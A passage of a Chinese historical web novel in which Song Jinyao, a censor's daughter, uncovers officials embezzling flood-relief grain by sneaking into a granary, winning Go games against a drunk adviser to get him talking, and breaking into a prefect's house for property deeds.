马车行驶在街道上,宋锦瑶透过车窗,看到许多无家可归的百姓,他们只能在街边临时搭建起简陋的棚子,相互依偎在一起。
等马车停在当地知府时,宋锦瑶一下车便瞧见官员们整齐站立,恭候御史大夫到来。
行完礼后,其中一位身材高大、面容严肃的官员说道:“久仰御史大夫大名,今日有幸得见,实乃下官之荣幸。此番大人前来,定能为我们解决这水患难题,下官翘首以盼。”
宋锦瑶记得,这位是芙蕖城的刺史大人。而站在他身旁,身材圆润的那位,则是当地的县令。
刺史瞧见宋老爷子身侧的宋锦瑶,打趣道:“这位想必就是令爱吧?早闻京城传言,令爱是当今大昭为数不多的女围棋师,年纪轻轻便有这般高超的技艺,真是令人钦佩。”
县令赶忙刷存在感道:“正巧,我们芙蕖城的百姓也十分喜爱围棋,棋艺可不比京城之人逊色。宋姑娘若是有闲暇,不妨与我们切磋切磋,也好让我们见识见识京城的围棋风采。”
宋锦瑶低头行礼道:“多谢两位大人厚爱,不过此次我主要是陪家父前来考察水患灾情,围棋之事,日后再谈也不迟。”
言罢,两位大人相视一笑,连忙热情地招呼宋锦瑶和宋老爷子进府叙话。
知府内的布局与其他地方并无太大差异,可宋锦瑶一路走来,还是敏锐察觉到几处不对劲的地方。
无论是墙壁,还是房梁,都有明显翻新的痕迹。
芙蕖城正遭受水患之灾,百姓们食不果腹,流离失所。在这危难关头,知府为何还要动用本就不多的银两,去修缮这些与民生无关的东西?
宋锦瑶眉头紧皱,目光紧盯着面前两位大人身上。
她别过脸,趁着旁人不注意,低声对小厌说道:“小厌,你去刚刚路过的难民聚集地,打听下芙蕖城近年来的情况,重点了解这刺史和县令平日里的为人处世。”
闻言,小厌神色立马严肃:“小姐,你是怀疑两位大人贪污朝廷赈灾银两吗?”
“现在还不能妄下定论。”宋锦瑶目光深沉,边走边说,“我想先从百姓口中了解一些情况,毕竟摆在明面上的账本,未必都是真实的。”
39. 039
屋外一片阴霾,雨水顺着屋檐滑落,眼见着雨势越来越大,宋锦瑶越来越不安。
她与宋父刚坐下,刺史和县令便满脸堆笑,殷勤地递上近年来芙蕖城的账单。
刺史苦恼道:“御史大人明鉴,下官分发赈灾粮时都是当街过秤的!而且第一时间都分发给百姓,可还是每日有人来闹事,非说自己没领到,这不是睁眼说瞎话,故意诬陷下官吗?”
县令点头道:“是啊,我和刺史本想着自己能把这事儿解决,就一直没上报。谁能想到,他们竟然直接捅到圣上那儿去,实属让我们难堪啊。”
刺史立刻接腔,冷哼道:“我看啊,就是那些刁民贪得无厌!前脚刚领米面,后脚就混在流民里,想再捞一笔。”
宋锦瑶忍不住冷笑道:“哦?上月十五暴雨冲垮南城门时,两位大人倒是没这般中气十足。"
宋老爷子不语,重重地合上账册。他仔细地查看许久,确认没发现任何破绽后,才抬起头,目光如炬地看向两位大人。
“三十万两粮食,足够整个芙蕖城的百姓吃上半年!二位倒是说说,这凭空消失的粮食,难道是喂了护城河里的蛟龙?”宋老爷子眉头紧锁,“若真是如此,为何外面还有那么多百姓流离失所,无家可归?”
此话一出,刺史和县令纷纷低头不敢言。
"大人慎言!"县令慌忙打圆场:"定是刁民冒领...下官这就加派人手彻查,彻查!"
宋老爷子严肃道:“芙蕖城的账单看着倒是没问题,但你们最好别耍什么花样,要是敢做假账,我定当禀报圣上,到时候,整个芙蕖城的官员,都别想好过!”
“是是是,我们哪敢啊。”两位大人吓得浑身发抖,头埋得更低。
宋锦瑶将这一切都看在眼里,心中满是不屑。
等了解完芙蕖城的基本情况后,两位大人便带着他们前往安排好的住宅。
一路上,风雨交加。
趁着刺史和县令在交代住所之事时,宋锦瑶快步走到宋老爷子身旁,压低声音说道:“父亲,您不会真信了他们的鬼话吧?”
宋老爷子叹了口气:“自然不信。但账单上记载得确实没错,而且看他们那副样子,也不像是做假账。”
“恕女儿直言,父亲进来时难道没发现,这里的一房一瓦全都翻新过吗?那两位大人绝对……”
宋老爷子立刻打断她,神色凝重:“瑶儿,休得无礼。在没有确凿证据之前,这一切都只是你的猜测。既然你如此怀疑,那就得找到足够的证据来证明。”
“好。既然父亲想要证据,那我就向您证明,这两人绝对是贪官!”宋锦瑶说罢,头也不回地转身离去。
直到彻底见不到宋锦瑶背影为止,刺史和县令两人暗中相互对视一眼,连忙毕恭毕敬询问宋老爷子怎么回事。
宋锦瑶心里明白,父亲这是故意这么说,就是想拖住这两位大人,好让她有机会出去调查。
大雨还在下,宋锦瑶刚踏进难民地,放眼望去,密密麻麻的简陋棚子随意排列。
棚子都是用破旧不堪的布帛,只要风稍大些,便呼呼作响。
这是她第一次见到这样的场景,视觉感带来的冲击,让她整个人呆愣在原地。
难民们衣衫褴褛蹲坐在棚子周围,就连孩子眼神全是恐惧,紧紧依偎在大人身旁。
突然,一块石头精准砸到宋锦瑶身上,紧接着,身后传来一道愤怒的吼声:“滚出去!”
宋锦瑶转过身,只见一个男孩赤脚站在泥浆中,手里还攥着一块石头,双眼恨意地瞪着宋锦瑶:“你们这些喝人血的大官,是来看我们笑话的吗?都是你们这些贪官,害我无家可归,害我妹妹高烧不退,连一口饭都吃不上!”
男孩看起来不过十四五岁模样,可眼底的凶狠与绝望,丝毫不比成年男子少。
见宋锦瑶不动,男孩的语气又凶狠几分,威胁道:“还不快滚!这里到处都是病毒细菌,像你们这种养尊处优的贵族小姐,可别死在这里了。”
还没等宋锦瑶回答,另一道惊愕的声音响起:“小姐?你怎么来这里了?”
两人同时顺着声音望去,见小厌端着一盆干净的水,满脸惊喜地望着宋锦瑶:“我已经打探清楚了,本想晚点回去告诉你,没想到你先来了。”
“小姐?”男孩一脸茫然望向小厌,难以置信地问道,“小厌姐,这就是你说的那位非常非常好的主子?”
“对啊,这次还是小姐特意派我过来帮助你们,怎么了嘛?”
男孩:“……”
见状,小厌眉头紧蹙:“你不会对小姐说了不好的话吧?”
“哪有!”男孩立马反驳,别过脸,低声朝宋锦瑶说道,“对不起,我不知道你就是小厌姐所说的主子。”
宋锦瑶看着他,轻声笑了笑,随后抬头问小厌:“这是怎么回事?”说着,便想走进棚子。
小厌立马阻止道:“小姐这儿脏,你在外头等着就行。”
宋锦瑶微怔,毫不犹豫地踏进污渍的泥水地,撇了撇嘴道:“我可不是什么娇贵的贵族小姐。看你忙得满头大汗,里面到底是什么情况?”
小厌难以置信地看着宋锦瑶,眼眶微微湿润,赶忙回道:“里面的情况很糟糕。因为水灾,很多人都生病,再加上没有足够的住处和食物,大家基本都高烧不退。”
两人快步朝棚子里走去,小厌一边走一边把情况详细地讲述一遍。路过周围时,宋锦瑶看到百姓们只能睡在粗糙的布上,冻得瑟瑟发抖,心中一阵刺痛。
小厌继续道:“朝廷拨了三十万两,到他们手里只剩三顿稀粥,甚至陈米下肚,丝毫饱腹感也没有。”
“哪位男孩的妹妹在哪?”
“男孩?您是说孟诩吗?就在前面不远。他妹妹今年才五岁,是这里病情最严重的。”
小厌带着宋锦瑶朝孟诩的棚子走去,还没走近,就清晰听到里面传来女娃的哭声,紧接着又是妇女的哭声。
“老天爷啊,要杀要剐冲我来,求您别再折磨我女儿了,她还那么小,不该承受这些啊!”妇女抱着怀里的女孩,哭得肝肠寸断,哭得眼睛都红肿一圈。
女孩的父亲站在一旁,满脸焦急,双手合十不停地祈祷着,嘴里念念有词。
只有孟诩一言不发,紧紧握着手中锋利的石头,哪怕手掌被划破,鲜血直流,他也毫不在意。
他坐在棚子前,满眼都是凶狠和不甘,低声嘟囔道:“臭官,我要杀了你们!”
“你要杀了谁?”
听到这话,孟诩猛地抬起头,眼中闪过的惊恐被宋锦瑶尽收眼底。
孟诩刚想开口解释,宋锦瑶却只是轻轻摸了摸他的头,微微一笑,便朝里面走去。
刚进去,小厌赶忙介绍道:“孟姨,这位便是我的主子,她是朝廷派来救你们的。”
听闻是小厌的人,这对夫妇顿时放下警惕,连忙朝宋锦瑶磕头:“宋小
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姐,求您救救我女儿,她已经两天没吃东西了,现在全身发烫。”
“你求她干嘛,看她这样也救不了我们。”孟诩满脸不屑,“我们这儿太脏,宋小姐还是赶紧回去吧。”
“孟诩你说什么呢!”小厌眉头紧皱,正要反驳,却被宋锦瑶拦住。
“你叫孟诩对吧?怎么知道我姓宋的?”
见那孩子不说话,孟父赶忙回道:“是小厌姑娘告诉我们的。她一来就帮了我们很多忙,还说好多关于宋小姐的事,我们都很感激。”
闻言,孟诩还是满脸厌恶:“那又怎样!小厌姐可不像你们这些当官的,她不嫌弃我们,你能吗?”
“闭嘴!你给我滚!这里没你什么事!”孟母被他的话气得剧烈咳嗽起来,呼吸一起伏,身下的女孩又大哭起来。
听到这话,孟诩满脸不甘,咬牙切齿瞪着宋锦瑶,重重地“哼”了一声,转身跑了出去。
“真是对不住啊。”孟母陪笑道,“那孩子还在叛逆期,若有冒犯到宋小姐,我在这代替他向你道歉。”
宋锦瑶望着孟诩离开的背影,再回眸看着她怀里的女孩,苦涩笑道:“没事,我能理解他的心情。”
宋锦瑶指尖抚过孩子滚烫的额头,突然扯下披风裹住女童。
“这还有没有剩余的陈米?”
孟父听闻,连忙将剩余一点陈米拿出来,递给宋锦瑶。她指腹抹下黏腻的米浆,眉头越来越紧。
这些根本不是赈灾粮,而是掺了砂石的陈年霉米。
好一招偷梁换柱,用霉米顶替新粮,差价够他们把府衙修成金銮殿了。
她们一下午的时光全在难民地渡过,临走前,宋锦瑶特意列出清单过,等下次过来时,正好能帮助到他们。
回去的路上,雨竟然停了。小厌一路上都在夸赞宋锦瑶今天的表现,兴奋得满脸通红,比宋锦瑶自己还要激动。
可宋锦瑶却一脸沉思,从离开难民地后,就再没说过几句话,脸上也没了其他表情。小厌叫她的时候,她都没反应过来。
小厌满眼疑惑:“小姐在想什么呢?脸色好像不太好看。”
宋锦瑶勉强笑了笑,说道:“没什么。小厌,假如你是贪官,既想把银两装进自己的口袋,又要保证粮食分给百姓,你会怎么做?”
这话可把小厌难住,她左思右想,认真说:“好像只能买劣质的陈米,再装模作样地发给百姓,当幌子。”
“没错。之前我就在孟诩家中发现,粥棚米袋印着“官仓特供”,但仔细查看就会发现,这里的陈米与市面截然不同。”
“所以小姐是想?”
“我想今晚偷偷溜进芙蕖城的供仓粮,去一探究竟。小厌,你把这件事告诉父亲,他会想办法帮我拖延时间。”
闻言,小厌毫不犹豫否决:“不行!且不说夜深有多不安全,万一被看管人发现,可是重罪啊,况且这事真被老爷知道,肯定会怪罪我的。”
宋锦瑶眉头紧皱,严肃道:“小厌,这事只能靠你帮我了。是我执意要去,要是真出了事,你就把这个给父亲。”说着,她从腰上取下玉佩。
“百姓们这么信任我,我不能辜负他们。这是我自愿的,我必须为他们讨回公道。”
小厌接过她的玉佩,满眼惊愕地看着宋锦瑶,随后眼睛坚定起来:“小姐,你真的变了。既然小姐想拯救这里的百姓,那小厌也不甘示弱,倘若小姐真不在了,那我也一同陪了小姐去。”
40. 040
为防止宋锦瑶被发现,小厌特意在街边买来面具,又向老板打听,这才得知供粮仓的位置。
乌云压顶,天空一丝星光都透不出来。宋锦瑶趁着夜色,悄无声息地朝着供粮仓潜行。
她警惕地打量着周围,每一步都走得小心翼翼,生怕惊起一丝动静。
望着漆黑的仓库,宋锦瑶注意到只有两位守卫,眉头不禁微皱,但也没多想,赶忙朝里面溜去。
仓库很大,可里面的粮食却少得可怜。她警惕地躲在仓布后,借着外面微弱的灯光,不断摸索着仓库的布局。
没有利器就划不开粗布,也就无法得知里面的赈灾粮是不是掺了砂石的陈年霉米。
所以,她现在要做的便是找到记录单,上面会详细记载粮食发放给了多少人,以及是否真的给了百姓银两或米面。
宋锦瑶小心翼翼地打量着周围,正准备朝仓库前的桌子走去时,不料听到角落传来一阵阵轻微的响声,她瞬间僵在原地,大气都不敢出。
趁着声音还没断,她迅速隐入阴影中,警惕地探头望去。一眼便瞧见一个身影,正鬼鬼祟祟地躲在角落的粮袋间,用刀刃插进仓布,流出的粮食不断涌进布袋中。
宋锦瑶想去看清到底是谁,刚朝那人走进一步,对方便敏锐察觉到她的脚步声。身影明显一顿,猛然回头,目光朝着宋锦瑶的方向瞪来。
察觉到她的存在,对方快速藏进黑暗中。宋锦瑶眉头紧皱,本想快步跟上去,不料下一秒,一把锋利的刀刃稳稳地抵在她的脖颈处。
两人僵持在原地,宋锦瑶吓得大脑一片空白。对方附在她耳边,威胁道:“你敢出声,我就杀了你。”
孟诩?
听到这个声音,宋锦瑶立马认出对方。本想开口解释,但望向脖颈处的刀,心想还是刀落下的速度比较快。
她点了点头,最终还是没说出话来。
孟诩将装好的布袋放进兜里,满眼警惕地握紧刀,一步步示意宋锦瑶跟着他。
看着他还在装仓粮,宋锦瑶知道自己不能再跟他耗在这里,她必须快点找到记录单,这样才有第一份证据。
可站在孟诩的立场,显然不会轻易放自己走。她沉思片刻后,注意到地上有很多碎石。
宋锦瑶趁着孟诩还在装粮,不动声色地用脚勾住石子,随后猛地朝墙角踢去,石子精准与墙角碰撞,发出细微的声音。
在这种情况下,任何声音都会引来守卫。听到声音,孟诩瞬间停下动作,猛然抬头朝墙角望去。
就在这时,宋锦瑶立马推开他的手,毫不犹豫地朝前面跑去。
“居然敢骗我,我看你是不要命了!”孟诩握紧刀柄,狠狠朝宋锦瑶划去。
锋刃擦过她的发梢,正巧将面具的线划断,面具毫无预兆地重重摔在地上。
见状,宋锦瑶立马停下来,孟诩毫不犹豫朝她冲去,眼中闪过凶狠的笑:“乖乖受死吧!”
孟诩快步跑上前,透过微光看清是宋锦瑶后,他明显一怔,刀刃卡在半空中停滞不前:“怎么会是你!?”
说罢,很快又恢复那副凶狠的模样:“你来干什么?想抓我回去领赏?”
见身份暴露,宋锦瑶皱紧眉头:“我是来查真相的,这供粮仓里藏着秘密,说不定能揭发贪官的预谋。你呢?”
孟诩冷哼一声:“我妹妹快不行了,我听说这里有粮食,想偷点回去给她。那些贪官,把我们的救命粮都吞了,我就算死,也要为家人讨回一口吃的!”
宋锦瑶满眼惊愕地盯着他,眼神坚定道:“我不会抓你,但也请你相信我。我们可以一起寻找证据,揭露那些贪官的罪行。”
见孟诩满眼狐疑,宋锦瑶恳求道:“若有我一句撒谎就不得好死,所以,能打开布袋给我瞧瞧里面的粮食吗?这对我很重要。”
孟诩明显犹豫了下,眼中的怀疑渐渐褪去,决绝道:“好,信你这一次。要是你敢骗我,我跟你没完!”
接过布袋,宋锦瑶倒出陈米仔细摩擦查看,神色越来越凝重。
这里的粮食也是掺了砂石的陈年霉米,也就是说,这里的粮食全都是给百姓吃的,而真正的好米,被那些人全转移了。
宋锦瑶将这件事简单地和孟诩诉说后,又把自己的计划告诉他,两人不再多言,默契地分头行动。
她负责查看粮袋上的印记,寻找供粮仓记录单;孟诩则在一旁警戒,一旦有风吹草动,立刻发出信号。
有孟诩看守,宋锦瑶全神贯注地寻找。她快速将桌子上的杂物翻找一遍,最后在书卷夹层页找到记录单。
她抬头刚想告诉孟诩,外面突然传来一阵急促的脚步声和嘈杂的人声:“不好,有人进了供粮仓,快搜!”
他们脸色大变,相互对视一眼,孟诩迅速拉起宋锦瑶的手,朝粮袋后面躲去,吓得大气都不敢出。
两位守卫身材魁梧,手持刀枪提着灯,一间间仔细寻找。
无论怎么看,他们都不是守卫的对手。
宋锦瑶的心提到嗓子眼,大脑飞速运转,目光在供粮仓内四处搜寻任何可能的逃生路径。突然,她瞥见屋顶上方有一处通风口,虽然距离较远,但这是唯一的希望。
她压低声音,急促地对孟诩说道:“看屋顶的通风口,我们想办法上去。”
孟诩顺着她指的方向望去,没有丝毫犹豫,立马点头。
两人猫着腰,轻手轻脚朝着通风口下方的粮袋堆靠近。不巧守卫也往这里巡查,脚步声越来越近,他们的心跳越发急促。
就在守卫快靠近他们时,宋锦瑶心生一计,蹲下身子捡起石子,用力朝着远处扔去。
“砰。”
石子正好击中另一个角落的粮袋,发出声响。
听到声音,守卫转身朝着声响处跑去,大声喊道:“在那边,快追!”
趁着这个间隙,宋锦瑶和孟诩迅速爬上粮袋堆。孟诩先托举宋锦瑶,让她够到通风口的边缘,自己再借助粮袋的支撑,一跃而起。
他们在狭窄的通风管道里艰难爬行,发现通风管道的尽头连接着一个废弃的仓库。两人小心翼翼地从通风口爬出,进入仓库。
仓库里堆满杂物,灰尘弥漫。听到外面没有动静,宋锦瑶和孟诩才松了口气。
注意到满脸灰尘的宋锦瑶,孟诩含糊道:“你裙子弄脏了,不嫌弃吗?”
宋锦瑶低头看着狼狈不堪的自己,忍不住浅笑道:“脏了再洗就好了,为何要嫌弃?反而我觉得,这是今晚成功潜入的战利品!”
“战利品?”孟诩呆呆地望着宋锦瑶,垂眸低语道:“我还是第一次见,主动提出爬通风口的官小姐。”
宋锦瑶自然不在意他嘟囔些什么,立马从口袋中掏出记录单,盯着眼前这份证据,她更是止不住地开心。
“孟诩,你知道刺史大人心腹是谁吗?”
“刺史?”孟诩语气一顿,稍作思考回道,“应该是他的师爷。听闻此人经常帮刺史出谋划策、还处理各类事务。不过最近因水患感染风寒,已经很久没出过门了。”
见宋锦瑶脸色难看,孟诩疑惑问道:“怎么了?是发现什么问题吗?”
“没。”宋锦瑶扯嘴抿笑道,“你能将这位师爷
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的住址告诉我吗?”
深夜,宋锦瑶借助着烛光查看记录单,里面记载着从水患前,到前几日为止的全部数据。
粗看一遍确实没问题,但她本着不放过任何细节的原则,还是发现记录单上的字迹有涂改痕迹,而且记录单显示在水患期间,出库的粮食数量远超实际赈灾发放量。
好一个偷梁换柱,瞒天过海。
宋锦瑶攥紧记录单,心里开始构思后续计划,直到目光无意中瞥见记录单的右下角,那里有一个半枚棋形暗纹,而且这个暗纹,她曾在傅渊手腕上见过。
想到这,她不禁吸了口凉气。
芙蕖城的贪污一事,远比明面上还要危险,而这个符号可能涉及到皇室。
就在这时,门外突然响起敲门声,宋锦瑶猛地回头,将记录单放进抽屉里,警惕地询问道:“谁?”
“瑶儿,是我。”门外传来宋老爷子的声音,“我瞧见你房间还亮着灯,便想过来问问你,今日可发现什么疑点。”
她盯着房门没有回答,思索片刻后,起身将房间门打开。
对上宋老爷子那双眼睛,宋锦瑶连忙扶着他进房间,回道:“父亲,今日我去了趟难民地,除了见识到底层百姓的苦难外,并未发现什么可疑点。”
为了不让宋老爷子担心,她不得不撒谎。而且她没有十足的把握胜利,只能选择隐瞒。
宋老爷子叹了口气:“是啊,如今芙蕖城遭遇水患,百姓没了房屋,也没有粮食,实属难过。”
说罢,他一脸歉意道:“瑶儿,过几日我会与刺史还有县令去调查此事,可能陪不了你几日。”
宋锦瑶敏锐捕捉到几个关键词,连忙回道:“没事,朝廷派遣之事为大,父亲还请将工作放在第一位,与刺史和县令多多打交道。不过,女儿还有一事恳求父亲。”
她故意一顿:“父亲,我回来时偶然听闻刺史的师爷患病了?我见你每日都和刺史打交道,不如让我替你去拜访师爷吧?之后若父亲需要他帮助,也好有面子。”
“刺史的师爷?为何我从未听他提起过?”宋老爷子眉头微皱,仔细一想,觉得她说得确实有道理,便点头道:“也好,不过为父得知,刺史的师爷,可是芙蕖城数一数二的围棋高手,若要见他,可能需……”
“无妨。他一定会出来见女儿的。”宋锦瑶信誓旦旦说道。
宋老爷子瞧见她眼底的坚定,轻声摇了摇头,道:“也罢,日后若有任何不对劲,及时告知为父。”
听到这话,宋锦瑶嘴角不自觉地上扬。
这样一来,理由和名号也有了。现在,她势必去会会所谓的围棋高手。
可令她万万没想到的是,芙蕖城竟然连下半个月的暴雨,师爷居然不在府!
大雨滂沱,打在纸伞上作响。宋锦瑶持伞站在师爷府前,大声喊道:“臣女受御史之命,前来拜访师爷大人,还请师爷开门。”
府前小厮面面相觑,再次重复道:“宋小姐还请回吧,你已经在这喊了一个时辰了,师爷他真的不在府内。”
鬼信啊。
宋锦瑶置之不理:“烦请小哥通禀一声,臣女听闻师爷身体不适,特来送上一些滋补药材,若师爷执意不开门,那便是对朝廷官员的不尊重,若我回京将此事告知王爷,可不是轻而易举能解决的吧?”
听闻,两位小厮忍不住笑出声:“你谁啊你,还能接触到王爷?”
“御史大夫之女-宋锦瑶。”
此话一出,小厮脸上的笑容瞬间凝固,满脸不可置信地盯着雨中的她,互相对视后,又朝府内走去。
41. 041
良久,小厮从里面走出来,毕恭毕敬欠身说道:“宋小姐,里边请。”
宋锦瑶收起雨伞,跟着小厮来到师爷的书房。
书房布置得简洁雅致,笔墨纸砚摆放整齐。宋锦瑶一眼便瞥见桌子上那副还未下完的围棋,黑白棋子错落分布。
师爷坐在主位上,面色略显苍白:“最近访客众多,老夫担心影响病情,故而对外称不在府中。未曾想宋小姐大驾光临,有失远迎。”他微微欠身,客气说道。
宋锦瑶连忙行礼,笑着回应:“师爷客气了,听闻您身体抱恙,父亲特来送上些滋补药材,略表心意。”说着,她将药材放在一旁的桌子上。
“真是有劳御史大人挂念了,还请宋小姐替老夫转达谢意。”
师爷鞠躬弯腰时,宋锦瑶一眼瞥见他袖中手腕边缘露出半枚棋形暗纹。
同样的位置,同样的符号,这让她更加笃定内心想法。
宋锦瑶目光再次落在那副围棋上,灵机一动,笑道:“早就听闻师爷是芙蕖城数一数二的围棋高手,此次前来芙蕖城,主要还是想向师爷请教棋艺。”
闻言,见师爷面露难色,犹豫不决。
宋锦瑶见状,自谦道:“小女虽棋艺不精,但对围棋也略有研究。今日有幸,不知能否向师爷讨教一二?”
师爷对宋锦瑶的事迹不可能一无所闻,面对她步步紧逼的态势,实在难以推脱,只得勉强同意。
师爷隐隐感到不安,但还是强笑道:“宋小姐既有此雅兴,老夫自当奉陪。”
两人相对而坐,各自手持棋子,棋局缓缓开始。
宋锦瑶做为先手,落子前,心里少数感到紧张。棋局第一步至关重要,必须引出师爷的棋路,掌握主动权。
她深吸一口气,果断落下一子。师爷见此,眼中闪过一丝轻蔑,跟着不假思索应了一子。
【不过是个官宦小姐,竟能在京城闹得人尽皆知,我倒要看看,她能懂什么高深棋艺。】
察觉到师爷内心的不屑,宋锦瑶嘴角微微上扬。观察到棋局上白子不断绕着黑子布局,暗自得意。
这么容易上钩,看来对自己棋艺很是自信啊。
宋锦瑶毫不犹豫下出最新研究的创新棋法,将嚣张的白子打得节节败退,隐隐形成包围趋势。
此招过于迅速,师爷眉头微皱,眼中带有疑惑,他重新认真审视棋局。
【这是什么奇怪的走法?】
即使被宋锦瑶打成这样,但他依旧自信满满。凭借多年的棋艺经验,他果断落下一子,试图破解困局。
“师爷,这棋局就像如今世间的局势,看似平静,实则暗流涌动。”说着,宋锦瑶抬眼望向他。
闻言,师爷手中棋子突然一顿,强装镇定道:“宋小姐说笑了,棋局不过是消遣,怎能与世间局势相提并论。”
话虽如此,可他握子的手却微微颤抖,显然是心虚。
几轮交锋后,宋锦瑶瞅准时机,提议道:“师爷,这般对弈总感觉少了些趣味,不如咱们添个彩头,输一局喝一瓶酒,如何?”
【这小姑娘真不知好歹,正好老夫也不想见到御史台的人,今日就好好教你做人。】
师爷嘴角浮起不屑的笑,爽快应下。
棋局越来越激烈,宋锦瑶凭借独特棋法,巧妙布局,逐渐占据上风。
师爷脸色越发难看,额头上满是汗珠,手持棋子悬在半空,迟迟落不下去。
“这……这怎么可能?”
师爷难以置信地盯着棋盘,随着宋锦瑶落下最后一子,他输掉第一局。
宋锦瑶嘴角含笑:“承让了,师爷,愿赌服输,这杯酒您可得喝。”
师爷端起酒杯一饮而尽,眼底全是不甘:“不过是一时大意,下一局看我怎么赢回来。”
第二局开始,师爷全神贯注,试图挽回颜面。宋锦瑶却不慌不忙,每步棋子下得飞快。
突然,师爷猛地落下一子,大声喊道:“看招!”
宋锦瑶轻笑,不急不慢地应了一子,道:“师爷,您这一步,怕是有些冒险了。”
果不其然,随着棋局推进,师爷再次陷入困境。
“怎么会……又输了?”他满脸震惊地看着棋盘。
“不好意思,师爷,又赢了。这杯酒,您可别推辞。”
师爷咬牙切齿端起酒杯,一饮而尽,怒火越烧越旺。
他怎么也没想到,自己竟会接连输给这个年轻女子。
第三局,师爷状态明显受到影响,眼神中既有醉意,又有不甘。
宋锦瑶则越来越冷静,利用师爷的急躁,不断扩大优势。
直到最后一轮结束,又是宋锦瑶获胜。
师爷彻底崩溃,他抓起酒杯,一杯接一杯灌下去,嘴里嘟囔着:“不可能……我怎么会输……”
宋锦瑶看准时机,问道:“师爷,听闻供粮仓的粮食……”
师爷醉意上头,倒在桌子上根本起不来,含糊打断道:“供粮仓的粮食早就被替换过了,全是些陈年霉米。”
果然和她猜想的没错。
她眉头紧锁,接着询问道:“既然都是霉米,那朝廷赈灾粮呢?”
“刺史为了贪污赈灾粮,在这里买了好多房子。还有那原本赈灾的银子,也早被他换成石头填堤了。”
宋锦瑶强忍着愤怒和震惊,继续套话:“那此事就无人能管吗?”
师爷苦笑着摇头:“他位高权重,又有后台,谁敢管?就连这些都是我帮他做的,他只要夹着尾巴做人就好。”
“师爷,刺史的后台是谁?是皇室的人吗?是傅渊吗?”宋锦瑶攥紧手指,语气略带怒意。
师爷又喝了杯酒,迷迷糊糊摇头道:“不对,是…是那个人!那个假面公子。”说罢,瘫软在桌子上,彻底昏死过去。
“假面公子?”宋锦瑶低声呢喃道。
她最讨厌这种话说到一半又不说的人了,恨不得直接摇醒师爷,但理智还在,还是忍了过去。
既然弄清楚此事贪官为刺史后,她便不再久留。装作若无其事地结束棋局,起身告辞:“今日与师爷对弈,受益匪浅,小女就先告辞了,望师爷早日康复。”
离开师爷府,宋锦瑶的思绪越来越杂乱。但眼下最重要便是找到刺史私宅地契。
这次,她要私闯民宅。
但只有她一人显然不行,她既不会武功,又不擅长逃跑,若被发现只有认罪的份,所以,必须得找一位合适的帮手。
可在这陌生的地方,除了她,又有谁会知道这个秘密呢?
临近黄昏,天空飘着淅淅沥沥的小雨,宋锦瑶提着粮食和药包走进棚子。
自从有她在暗中帮助,这里的百姓已经不用再常常饿肚子。瞧见宋锦瑶过来,大家都热情地跟她打招呼。
“宋小姐多亏你开了药包,我家老头已经好了很多。”
“宋小姐,谢谢你前几日给我们粮食,我孩子已经不在哭了。”
“宋小姐!要不是你,我早就饿死在前日了。”
“宋小姐……”
一路上,只要是宋锦瑶经过的地方,感谢声此起彼伏。直到她走到一处棚子前,望着站在那里的少年,嘴角勾起一抹浅笑。
宋锦瑶打趣道:“知道我今日会过来?特意等我的?”
孟诩别过脸,急忙反驳道:“才没有…特意等你。我只是出来透透气罢了,少自作多情。”
宋锦瑶无奈地笑了笑,将手上药包递给他:“诺,再吃几次,你妹妹的病就能彻底痊愈了。”
孟诩接过药包,不解询问道:“宋锦瑶,你为何我帮我家,为何要帮这里的百姓?”
这个问题还真的把她难住了,但她只是笑意更深,沉思片刻后,缓缓说道。
“我不仅要帮这里的百姓,我还想帮天下的女子打破世俗偏见,你说我是不是很傻?即使知道结局可能并不完美,但还是会奋不顾身。”
“至于为什么,大概我很闲吧?”宋锦瑶眼底闪过别样情绪,“看不惯那些‘自封’的强者欺负‘受偏见’的弱者,总想着改变些什么,到头来不仅没帮上忙,还搞得自己一身狼狈。”
“你不傻。宋锦瑶,你是我见过第一位持有这样思想的女性,你是大昭未来的紫微星,你所期望的一切,都会因为你而改变。”孟诩满脸认真对她说道,眼底夹带着对她
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的欣赏和期待。
两人四目相对,眼中倒映出对方的模样。
“但愿吧。”宋锦瑶垂眸说道,“话说我这次过来,是想请你帮个忙。”
闻言,孟诩叹了口气:“我就知道天下没有免费的午餐。说吧,只要是关于揭发贪官的事情,我都愿意。”
夜幕降临,月光从厚重的云层缝隙中透出来,洒在地上形成斑驳光影。
宋锦瑶和孟诩猫着腰,隐匿在刺史府外的阴影里,盯着府内一举一动。
“孟诩,此次行动只许成功,不许失败。那张私宅地契,是扳倒刺史的关键证据。”宋锦瑶压低声音,语气中透着坚定。
孟诩微微点头,手中紧握短刀,刀刃在微弱的月光下闪烁着寒光:“放心吧,我定不会拖你后腿。”
两人趁着侍卫换岗的间隙,迅速翻过院墙,动作敏捷,几乎没有发出任何声响。
府内的庭院中,他们躲在树后,小心翼翼地朝着主屋潜行。
突然,一阵脚步声传来,吓得宋锦瑶和孟诩立马紧贴墙壁,屏住呼吸。两名侍卫提着灯笼,慢悠悠地走过,又渐渐远去。
为何今日刺史府怎么空荡荡?
宋锦瑶总感觉不对劲,但来不及细想,立刻眼神示意孟诩继续前进。
来到主屋前,发现房门果然被上锁,她从怀中掏出铁丝,熟练地插入锁孔。孟诩则站在身旁,警惕地观察着四周。
锁开了,宋锦瑶和孟诩一同潜入屋内。里面弥漫着陈旧的气息,摆放着各种名贵的家具和字画。
他们迅速开始寻找地契,几乎翻遍所有抽屉,都一无所获。直到宋锦瑶的目光无意中落在一个暗格上,她尝试打开,里面果然放着一叠文书。
宋锦瑶心跳加速,借着窗外透进来的微弱月光,看到“私宅地契”几个大字。
“孟诩,找到了!”宋锦瑶激动地压低声音说道。
可就在这时,屋外突然传来一阵嘈杂的人声和脚步声。
不好,被发现了。
孟诩脸色一变,迅速将短刀握在手中。
眼见侍卫的脚步声越来越近,宋锦瑶大脑飞速运转,绝对不能两人都被发现在此,不然所有努力都将付诸东流。
她咬了咬牙,转头对孟诩低声说道:“像这种大宅都有隐蔽后门,你带着地契先走,我留下来拖延时间!”
孟诩瞪大了眼睛,刚要开口反驳,宋锦瑶便一把将他推向隐蔽处。
“别废话,这是唯一的办法,快走!”
瞥见桌子还有剩余的酒,她深呼口气,直接将一瓶酒喝光,又故意弄乱衣衫,从后窗翻出去。
注意到动静,侍卫迅速举着兵器将她团团围住,大声呵斥道:“什么人!”
宋锦瑶靠在树后,假装一副被发现的羞耻感,慌忙解释道:“我是御史之女,这里哪里?”
听到是御史台的人,侍卫满眼不信,立马安排人去正厅报道,随后回头看着宋锦瑶,皱紧眉头道:“这里是刺史府,宋小姐为何一副醉酒模样出现在这?”
宋锦瑶故作镇定,正想着如何应对,正厅的门突然打开,两个人影从里面走出来。
